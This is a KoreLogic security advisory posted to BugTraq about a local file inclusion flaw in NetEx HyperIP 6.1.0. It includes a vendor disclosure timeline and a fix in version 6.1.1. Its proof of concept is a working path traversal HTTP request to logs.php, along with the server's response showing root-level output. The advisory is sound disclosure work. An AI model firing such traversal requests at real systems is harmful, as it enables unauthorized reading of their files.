BugTraq
KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability Feb 09 2018 05:13PM
KoreLogic Disclosures (disclosures korelogic com)
KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt

1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues
Impact: Arbitrary Filesystem Reads
Attack vector: HTTPS

2. Vulnerability Description

Local files can be included within the HTTP response given
by logs.php

3. Technical Description

Any arbitrary file, such as the one created in KL-001-2018-004, can
be returned by the logs.php script.

GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">

<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v2.2.txt

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